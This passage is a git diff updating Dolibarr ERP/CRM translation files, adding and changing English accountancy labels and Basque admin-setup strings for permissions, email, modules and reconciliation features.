Balancing=Balancing FicheVentilation=Binding card GeneralLedgerIsWritten=Transactions are written in the Ledger GeneralLedgerSomeRecordWasNotRecorded=Some of the transactions could not be journalized. If there is no other error message, this is probably because they were already journalized. -NoNewRecordSaved=No more record to journalize -ListOfProductsWithoutAccountingAccount=List of products not bound to any accounting account +NoNewRecordSaved=No more record to transfer +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Change the binding Accounted=Accounted in ledger NotYetAccounted=Not yet transferred to accounting ShowTutorial=Show Tutorial NotReconciled=Not reconciled -WarningRecordWithoutSubledgerAreExcluded=Warning, all operations without subledger account defined are filtered and excluded from this view +WarningRecordWithoutSubledgerAreExcluded=Warning, all lines without subledger account defined are filtered and excluded from this view +AccountRemovedFromCurrentChartOfAccount=Accounting account that does not exist in the current chart of accounts ## Admin BindingOptions=Binding options @@ -317,9 +325,10 @@ AccountingJournalType1=Miscellaneous operations AccountingJournalType2=Sales AccountingJournalType3=Purchases AccountingJournalType4=Bank -AccountingJournalType5=Expenses report +AccountingJournalType5=Expense reports AccountingJournalType8=Inventory AccountingJournalType9=Has-new +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=This journal is already use AccountingAccountForSalesTaxAreDefinedInto=Note: Accounting account for Sales tax are defined into menu %s - %s NumberOfAccountancyEntries=Number of entries @@ -327,10 +336,13 @@ NumberOfAccountancyMovements=Number of movements ACCOUNTING_DISABLE_BINDING_ON_SALES=Disable binding & transfer in accountancy on sales (customer invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Disable binding & transfer in accountancy on purchases (vendor invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Disable binding & transfer in accountancy on expense reports (expense reports will not be taken into account in accounting) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting ## Export -NotifiedExportDate=Flag exported lines as exported (modification of the lines will not be possible) -NotifiedValidationDate=Validate the exported entries (modification or deletion of the lines will not be possible) +NotExportLettering=Do not export the lettering when generating the file +NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +DateValidationAndLock=Date validation and lock ConfirmExportFile=Confirmation of the generation of the accounting export file ? ExportDraftJournal=Export draft journal Modelcsv=Model of export @@ -394,6 +406,26 @@ Range=Range of accounting account Calculated=Calculated Formula=Formula +## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual +Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual +AccountancyNoLetteringModified=No reconcile modified +AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified +AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified +AccountancyNoUnletteringModified=No unreconcile modified +AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modified +AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified + +## Confirm box +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? +ConfirmMassDeleteBookkeepingWriting=Bulk Delete confirmation +ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? + ## Error SomeMandatoryStepsOfSetupWereNotDone=Some mandatory steps of setup was not done, please complete them ErrorNoAccountingCategoryForThisCountry=No accounting account group available for country %s (See Home - Setup - Dictionaries) @@ -406,6 +438,10 @@ Binded=Lines bound ToBind=Lines to bind UseMenuToSetBindindManualy=Lines not yet bound, use menu %s to make the binding manually SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorry this module is not compatible with the experimental feature of situation invoices +AccountancyErrorMismatchLetterCode=Mismatch in reconcile code +AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 +AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +ErrorAccountNumberAlreadyExists=The accounting number %s already exists ## Import ImportAccountingEntries=Accounting entries @@ -432,6 +468,5 @@ FECFormatMulticurrencyCode=Multicurrency code (Idevise) DateExport=Date export WarningReportNotReliable=Warning, this report is not based on the Ledger, so does not contains transaction modified manually in the Ledger. If your journalization is up to date, the bookkeeping view is more accurate. ExpenseReportJournal=Expense Report Journal -InventoryJournal=Inventory Journal NAccounts=%s accounts diff --git a/htdocs/langs/eu_ES/admin.lang b/htdocs/langs/eu_ES/admin.lang index ab80d04586d..8b53146ebc7 100644 --- a/htdocs/langs/eu_ES/admin.lang +++ b/htdocs/langs/eu_ES/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=Client collation WarningModuleNotActive=%s moduluak gaituta egon behar du WarningOnlyPermissionOfActivatedModules=Aktibatutako moduluekin erlazionatutako baimenak bakarrik erakusten dira hemen. Beste modulu batzuk aktibatu ditzakezu Hasiera->Konfigurazioa->Moduluak orrian. DolibarrSetup=Dolibarr instalatu edo eguneratu -InternalUser=Barneko erabiltzailea -ExternalUser=Kanpoko erabiltzailea InternalUsers=Barneko erabiltzaileak ExternalUsers=Kanpoko erabiltzaileak UserInterface=User interface @@ -294,6 +292,7 @@ MAIN_MAIL_SMTP_SERVER=SMTP/SMTPS Host (default value in php.ini: %s) MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=SMTP/SMTPS Port (Not defined into PHP on Unix-like systems) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP/SMTPS Host (Not defined into PHP on Unix-like systems) MAIN_MAIL_EMAIL_FROM=Sender email for automatic emails (default value in php.ini: %s) +EMailHelpMsgSPFDKIM=To prevent Dolibarr emails to be classified as spam, make sure that the server is authorized to send e-mails from this address by SPF and DKIM configuration MAIN_MAIL_ERRORS_TO=Email used for error returns emails (fields 'Errors-To' in emails sent) MAIN_MAIL_AUTOCOPY_TO= Copy (Bcc) all sent emails to MAIN_DISABLE_ALL_MAILS=Disable all email sending (for test purposes or demos) @@ -439,8 +438,10 @@ Unique=Unique Boolean=Boolean (one checkbox) ExtrafieldPhone = Telefonoa ExtrafieldPrice = Prezioa +ExtrafieldPriceWithCurrency=Price with currency ExtrafieldMail = E-posta ExtrafieldUrl = Url +ExtrafieldIP = IP ExtrafieldSelect = Aukeren zerrenda ExtrafieldSelectList = Taulatik aukeratu ExtrafieldSeparator=Separator (not a field) @@ -450,7 +451,7 @@ ExtrafieldCheckBox=Checkboxes ExtrafieldCheckBoxFromList=Checkboxes from table ExtrafieldLink=Link to an object ComputedFormula=Computed field -ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $object.
      WARNING: Only some properties of $object may be available. If you need a properties not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $object->id < 10 ? round($object->id / 2, 2): ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj->rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Store computed field ComputedpersistentDesc=Computed extra fields will be stored in the database, however, the value will only be recalculated when the object of this field is changed. If the computed field depends on other objects or global data this value might be wrong!! ExtrafieldParamHelpPassword=Leaving this field blank means this value will be stored without encryption (field must be only hidden with star on screen).
      Set 'auto' to use the default encryption rule to save password into database (then value read will be the hash only, no way to retrieve original value) @@ -477,7 +478,7 @@ InstalledInto=Installed into directory %s BarcodeInitForThirdparties=Mass barcode init for third-parties BarcodeInitForProductsOrServices=Mass barcode init or reset for products or services CurrentlyNWithoutBarCode=Currently, you have %s record on %s %s without barcode defined. -InitEmptyBarCode=Init value for next %s empty records +InitEmptyBarCode=Init value for the %s empty barcodes EraseAllCurrentBarCode=Erase all current barcode values ConfirmEraseAllCurrentBarCode=Are you sure you want to erase all current barcode values? AllBarcodeReset=All barcode values have been removed @@ -501,7 +502,8 @@ WarningPHPMail=WARNING: The setup to send emails from the application is using t WarningPHPMailA=- Using the server of the Email Service Provider increases the trustability of your email, so it increases the deliverablity without being flagged as SPAM WarningPHPMailB=- Some Email Service Providers (like Yahoo) do not allow you to send an email from another server than their own server. Your current setup uses the server of the application to send email and not the server of your email provider, so some recipients (the one compatible with the restrictive DMARC protocol), will ask your email provider if they can accept your email and some email providers (like Yahoo) may respond "no" because the server is not theirs, so few of your sent Emails may not be accepted for delivery (be careful also of your email provider's sending quota). WarningPHPMailC=- Using the SMTP server of your own Email Service Provider to send emails is also interesting so all emails sent from application will also be saved into your "Sent" directory of your mailbox. -WarningPHPMailD=Also, it is therefore recommended to change the sending method of e-mails to the value "SMTP". If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by setting the MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP constant to 1 in Home - Setup - Other. +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=If your email SMTP provider need to restrict email client to some IP addresses (very rare), this is the IP address of the mail user agent (MUA) for your ERP CRM application: %s. WarningPHPMailSPF=If the domain name in your sender email address is protected by a SPF record (ask your domain name registar), you must add the following IPs in the SPF record of the DNS of your domain: %s. ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s @@ -514,7 +516,7 @@ PageUrlForDefaultValuesCreate=
      Example:
      For the form to create a new third PageUrlForDefaultValuesList=
      Example:
      For the page that lists third parties, it is %s.
      For URL of external modules installed into custom directory, do not include the "custom/" so use a path like mymodule/mypagelist.php and not custom/mymodule/mypagelist.php.
      If you want default value only if url has some parameter, you can use %s AlsoDefaultValuesAreEffectiveForActionCreate=Also note that overwritting default values for form creation works only for pages that were correctly designed (so with parameter action=create or presend...) EnableDefaultValues=Enable customization of default values -EnableOverwriteTranslation=Enable usage of overwritten translation +EnableOverwriteTranslation=Allow customization of translations GoIntoTranslationMenuToChangeThis=A translation has been found for the key with this code. To change this value, you must edit it from Home-Setup-translation. WarningSettingSortOrder=Warning, setting a default sort order may result in a technical error when going on the list page if field is an unknown field. If you experience such an error, come back to this page to remove the default sort order and restore default behavior. Field=Field @@ -643,11 +645,13 @@ Module2300Name=Scheduled jobs Module2300Desc=Scheduled jobs management (alias cron or chrono table) Module2400Name=Events/Agenda Module2400Desc=Track events. Log automatic events for tracking purposes or record manual events or meetings. This is the principal module for good Customer or Vendor Relationship Management. +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=DMS / ECM Module2500Desc=Document Management System / Electronic Content Management. Automatic organization of your generated or stored documents. Share them when you need. -Module2600Name=API/Web services (SOAP server) +Module2600Name=API / Web services (SOAP server) Module2600Desc=Enable the Dolibarr SOAP server providing API services -Module2610Name=API/Web services (REST server) +Module2610Name=API / Web services (REST server) Module2610Desc=Enable the Dolibarr REST server providing API services Module2660Name=Call WebServices (SOAP client) Module2660Desc=Enable the Dolibarr web services client (Can be used to push data/requests to external servers. Only Purchase orders are currently supported.) @@ -658,6 +662,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=GeoIP Maxmind conversions capabilities Module3200Name=Unalterable Archives Module3200Desc=Enable an unalterable log of business events. Events are archived in real-time. The log is a read-only table of chained events that can be exported. This module may be mandatory for some countries. +Module3300Name=Module Builder +Module3200Desc=Enable an unalterable log of business events. Events are archived in real-time. The log is a read-only table of chained events that can be exported. This module may be mandatory for some countries. Module3400Name=Social Networks Module3400Desc=Enable Social Networks fields into third parties and addresses (skype, twitter, facebook, ...). Module4000Name=HRM @@ -698,7 +704,10 @@ Module62000Name=Incoterms Module62000Desc=Add features to manage Incoterms Module63000Name=Resources Module63000Desc=Manage resources (printers, cars, rooms, ...) for allocating to events -Permission11=Bezeroen fakturak ikusi +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Receptions +Permission11=Read customer invoices (and payments) Permission12=Bezeroen fakturak sortu/aldatu Permission13=Invalidate customer invoices Permission14=Bezeroaren fakturak balioztatu @@ -714,6 +723,7 @@ Permission27=Delete commercial proposals Permission28=Export commercial proposals Permission31=Produktuak ikusi Permission32=Create/modify products +Permission33=Read prices products Permission34=Produktuak ezabatu Permission36=See/manage hidden products Permission38=Produktuak esportatu @@ -739,6 +749,7 @@ Permission79=Create/modify subscriptions Permission81=Read customers orders Permission82=Create/modify customers orders Permission84=Validate customers orders +Permission85=Generate the documents sales orders Permission86=Send customers orders Permission87=Close customers orders Permission88=Cancel customers orders @@ -840,9 +851,9 @@ Permission286=Export contacts Permission291=Read tariffs Permission292=Set permissions on the tariffs Permission293=Modify customer's tariffs -Permission300=Read barcodes -Permission301=Create/modify barcodes -Permission302=Delete barcodes +Permission301=Generate PDF sheets of barcodes +Permission304=Create/modify barcodes +Permission305=Delete barcodes Permission311=Read services Permission312=Assign service/subscription to contract Permission331=Read bookmarks @@ -874,6 +885,7 @@ Permission525=Access loan calculator Permission527=Export loans Permission531=Read services Permission532=Create/modify services +Permission533=Read prices services Permission534=Delete services Permission536=See/manage hidden services Permission538=Export services @@ -937,7 +949,7 @@ Permission1190=Approve (second approval) purchase orders Permission1191=Export supplier orders and their attributes Permission1201=Get result of an export Permission1202=Create/Modify an export -Permission1231=Read vendor invoices +Permission1231=Read vendor invoices (and payments) Permission1232=Create/modify vendor invoices Permission1233=Validate vendor invoices Permission1234=Delete vendor invoices @@ -968,13 +980,14 @@ Permission3301=Generate new modules Permission4001=Read skill/job/position Permission4002=Create/modify skill/job/position Permission4003=Delete skill/job/position -Permission4020=Read evaluations -Permission4021=Create/modify your evaluation -Permission4022=Validate evaluation -Permission4023=Delete evaluation -Permission4030=See comparison menu +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Validate evaluation +Permission4025=Delete evaluation +Permission4028=See comparison menu Permission4031=Read personal information Permission4032=Write personal information +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=Read website content Permission10002=Create/modify website content (html and javascript content) Permission10003=Create/modify website content (dynamic php code). Dangerous, must be reserved to restricted developers. @@ -1078,6 +1091,10 @@ DictionaryAssetDisposalType=Type of disposal of assets TypeOfUnit=Type of unit SetupSaved=Setup saved SetupNotSaved=Setup not saved +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=Error in entry deletion +EntryDeleted=Entry deleted BackToModuleList=Back to Module list BackToDictionaryList=Back to Dictionaries list TypeOfRevenueStamp=Type of tax stamp @@ -1219,7 +1236,7 @@ SetupDescription4=%s -> %s

      This software is a suite of m SetupDescription5=Other Setup menu entries manage optional parameters. SetupDescriptionLink=%s - %s SetupDescription3b=Basic parameters used to customize the default behavior of your application (e.g for country-related features). -SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be enabled and configured. Menu entries will appears with the activation of these modules. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=Security events that are audited NoSecurityEventsAreAduited=No security events are audited. You can enable them from menu %s Audit=Security events @@ -1235,11 +1252,13 @@ BrowserName=Browser name BrowserOS=Browser OS ListOfSecurityEvents=List of Dolibarr security events SecurityEventsPurged=Security events purged +TrackableSecurityEvents=Trackable security events LogEventDesc=Enable logging for specific security events. Administrators the log via menu %s - %s. Warning, this feature can generate a large amount of data in the database. AreaForAdminOnly=Setup parameters can be set by administrator users only. SystemInfoDesc=System information is miscellaneous technical information you get in read only mode and visible for administrators only. SystemAreaForAdminOnly=This area is available to administrator users only. Dolibarr user permissions cannot change this restriction. CompanyFundationDesc=Edit the information of your company/organization. Click on "%s" button at the bottom of the page when done. +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=If you have an external accountant/bookkeeper, you can edit here its information. AccountantFileNumber=Accountant code DisplayDesc=Parameters affecting the look and presentation of the application can be modified here. @@ -1257,6 +1276,7 @@ TriggerActiveAsModuleActive=Triggers in this file are active as module %s GeneratedPasswordDesc=Choose the method to be used for auto-generated passwords. DictionaryDesc=Insert all reference data. You can add your values to the default. ConstDesc=This page allows you to edit (override) parameters not available in other pages. These are mostly reserved parameters for developers/advanced troubleshooting only. +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=All other security related parameters are defined here. LimitsSetup=Limits/Precision setup LimitsDesc=You can define limits, precisions and optimizations used by Dolibarr here @@ -1290,6 +1310,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=You must run this command from YourPHPDoesNotHaveSSLSupport=SSL functions not available in your PHP DownloadMoreSkins=More skins to download SimpleNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset SimpleNumRefNoDateModelDesc=Returns the reference number in the format %s-nnnn where nnnn is a sequential auto-incrementing number with no reset ShowProfIdInAddress=Show professional ID with addresses ShowVATIntaInAddress=Hide intra-Community VAT number @@ -1376,7 +1398,7 @@ GetBarCode=Get barcode NumberingModules=Numbering models DocumentModules=Document models ##### Module password generation -PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters in lowercase. +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=Do not suggest a generated password. Password must be typed in manually. PasswordGenerationPerso=Return a password according to your personally defined configuration. SetupPerso=According to your configuration @@ -1430,6 +1452,10 @@ SuppliersPayment=Vendor payments SupplierPaymentSetup=Vendor payments setup InvoiceCheckPosteriorDate=Check facture date before validation InvoiceCheckPosteriorDateHelp=Validating an invoice will be forbidden if its date is anterior to the date of last invoice of same type. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=Commercial proposals module setup ProposalsNumberingModules=Commercial proposal numbering models @@ -1472,11 +1498,12 @@ WatermarkOnDraftContractCards=Watermark on draft contracts (none if empty) ##### Members ##### MembersSetup=Kideak moduluaren konfigurazioa MemberMainOptions=Aukera nagusiak +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= Kide bakoitzarentzat Sarrera bat kudeatu AdherentMailRequired=Email required to create a new member MemberSendInformationByMailByDefault=Kideei posta berrespena bidaltzeko kontrol-laukia (balioztapena edo harpidetza berria) aktibatuta dago lehenespenez MemberCreateAnExternalUserForSubscriptionValidated=Create an external user login for each new member subscription validated -VisitorCanChooseItsPaymentMode=Visitor can choose from available payment modes +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=Enable automatic reminder by email of expired subscriptions. Note: Module %s must be enabled and correctly setup to send reminders. MembersDocModules=Document templates for documents generated from member record ##### LDAP setup ##### @@ -1738,8 +1765,8 @@ ActivateFCKeditor=Activate advanced editor for: FCKeditorForNotePublic=WYSIWIG creation/edition of the field "public notes" of elements FCKeditorForNotePrivate=WYSIWIG creation/edition of the field "private notes" of elements FCKeditorForCompany=WYSIWIG creation/edition of the field description of elements (except products/services) -FCKeditorForProduct=WYSIWIG creation/edition of the field description of products/services -FCKeditorForProductDetails=WYSIWIG creation/edition of products details lines for all entities (proposals, orders, invoices, etc...). Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= WYSIWIG creation/edition for mass eMailings (Tools->eMailing) FCKeditorForUserSignature=WYSIWIG creation/edition of user signature FCKeditorForMail=WYSIWIG creation/edition for all mail (except Tools->eMailing) @@ -1762,7 +1789,7 @@ DetailMenuHandler=Menu handler where to show new menu DetailMenuModule=Module name if menu entry come from a module DetailType=Type of menu (top or left) DetailTitre=Menu label or label code for translation -DetailUrl=URL where menu send you (Absolute URL link or external link with http://) +DetailUrl=URL where menu send you (Relative URL link or external link with https://) DetailEnabled=Condition to show or not entry DetailRight=Condition to display unauthorized grey menus DetailLangs=Lang file name for label code translation @@ -1806,6 +1833,9 @@ AGENDA_USE_EVENT_TYPE=Use events types (managed in menu Setup -> Dictionaries -> AGENDA_USE_EVENT_TYPE_DEFAULT=Automatically set this default value for type of event in event create form AGENDA_DEFAULT_FILTER_TYPE=Automatically set this type of event in search filter of agenda view AGENDA_DEFAULT_FILTER_STATUS=Automatically set this status for events in search filter of agenda view +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=Which view do you want to open by default when selecting menu Agenda AGENDA_REMINDER_BROWSER=Enable event reminder on user's browser (When remind date is reached, a popup is shown by the browser. Each user can disable such notifications from its browser notification setup). AGENDA_REMINDER_BROWSER_SOUND=Enable sound notification @@ -1833,7 +1863,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=Stock decrease in POS is not compatib CashDeskYouDidNotDisableStockDecease=You did not disable stock decrease when making a sale from Point of Sale. Hence a warehouse is required. CashDeskForceDecreaseStockLabel=Stock decrease for batch products was forced. CashDeskForceDecreaseStockDesc=Decrease first by the oldest eatby and sellby dates. -CashDeskReaderKeyCodeForEnter=Key code for "Enter" defined in barcode reader (Example: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=Bookmark module setup BookmarkDesc=This module allows you to manage bookmarks. You can also add shortcuts to any Dolibarr pages or external web sites on your left menu. @@ -1871,7 +1901,7 @@ SuppliersInvoiceNumberingModel=Vendor invoices numbering models IfSetToYesDontForgetPermission=If set to a non null value, don't forget to provide permissions to groups or users allowed for the second approval ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=GeoIP Maxmind module setup -PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation.
      Examples:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=Note that your ip to country data file must be inside a directory your PHP can read (Check your PHP open_basedir setup and filesystem permissions). YouCanDownloadFreeDatFileTo=You can download a free demo version of the Maxmind GeoIP country file at %s. YouCanDownloadAdvancedDatFileTo=You can also download a more complete version, with updates, of the Maxmind GeoIP country file at %s. @@ -1922,6 +1952,7 @@ BackupDumpWizard=Wizard to build the database dump file BackupZipWizard=Wizard to build the archive of documents directory SomethingMakeInstallFromWebNotPossible=Installation of external module is not possible from the web interface for the following reason: SomethingMakeInstallFromWebNotPossible2=For this reason, process to upgrade described here is a manual process only a privileged user may perform. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=Install of external module from application has been disabled by your administrator. You must ask him to remove the file %s to allow this feature. ConfFileMustContainCustom=Installing or building an external module from application need to save the module files into directory %s. To have this directory processed by Dolibarr, you must setup your conf/conf.php to add the 2 directive lines:
      $dolibarr_main_url_root_alt='/custom';
      $dolibarr_main_document_root_alt='%s/custom'; HighlightLinesOnMouseHover=Highlight table lines when mouse move passes over @@ -1977,6 +2008,7 @@ MailToSendSupplierOrder=Purchase orders MailToSendSupplierInvoice=Vendor invoices MailToSendContract=Kontratuak MailToSendReception=Receptions +MailToExpenseReport=Expense reports MailToThirdparty=Third parties MailToMember=Kideak MailToUser=Erabiltzaileak @@ -2030,6 +2062,7 @@ MAIN_PDF_MARGIN_RIGHT=Right margin on PDF MAIN_PDF_MARGIN_TOP=Top margin on PDF MAIN_PDF_MARGIN_BOTTOM=Bottom margin on PDF MAIN_DOCUMENTS_LOGO_HEIGHT=Height for logo on PDF +DOC_SHOW_FIRST_SALES_REP=Show first sales representative MAIN_GENERATE_PROPOSALS_WITH_PICTURE=Add column for picture on proposal lines MAIN_DOCUMENTS_WITH_PICTURE_WIDTH=Width of the column if a picture is added on lines MAIN_PDF_NO_SENDER_FRAME=Hide borders on sender address frame @@ -2047,6 +2080,8 @@ RemoveSpecialChars=Remove special characters COMPANY_AQUARIUM_CLEAN_REGEX=Regex filter to clean value (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Regex filter to clean value (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Duplicate not allowed +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=Data Protection Officer (DPO, Data Privacy or GDPR contact) GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here HelpOnTooltip=Help text to show on tooltip @@ -2063,11 +2098,18 @@ EmailCollectors=Email collectors EmailCollectorDescription=Add a scheduled job and a setup page to scan regularly email boxes (using IMAP protocol) and record emails received into your application, at the right place and/or create some records automatically (like leads). NewEmailCollector=New Email Collector EMailHost=Host of email IMAP server +EMailHostPort=Port of email IMAP server +loginPassword=Login/Password +oauthToken=Oauth2 token +accessType=Acces type +oauthService=Oauth service +TokenMustHaveBeenCreated=Module OAuth2 must be enabled and an oauth2 token must have been created with the correct permissions (for example scope "gmail_full" with OAuth for Gmail). MailboxSourceDirectory=Mailbox source directory MailboxTargetDirectory=Mailbox target directory EmailcollectorOperations=Operations to do by collector EmailcollectorOperationsDesc=Operations are executed from top to bottom order MaxEmailCollectPerCollect=Max number of emails collected per collect +TestCollectNow=Test collect CollectNow=Collect now ConfirmCloneEmailCollector=Are you sure you want to clone the Email collector %s? DateLastCollectResult=Date of latest collect try @@ -2097,6 +2139,7 @@ CodeLastResult=Latest result code NbOfEmailsInInbox=Number of emails in source directory LoadThirdPartyFromName=Load third party searching on %s (load only) LoadThirdPartyFromNameOrCreate=Load third party searching on %s (create if not found) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=Save attached files into object documents if a ref of an object is found into email topic. WithDolTrackingID=Message from a conversation initiated by a first email sent from Dolibarr WithoutDolTrackingID=Message from a conversation initiated by a first email NOT sent from Dolibarr @@ -2106,7 +2149,7 @@ CreateCandidature=Create job application FormatZip=Zip MainMenuCode=Menu entry code (mainmenu) ECMAutoTree=Show automatic ECM tree -OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. +OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
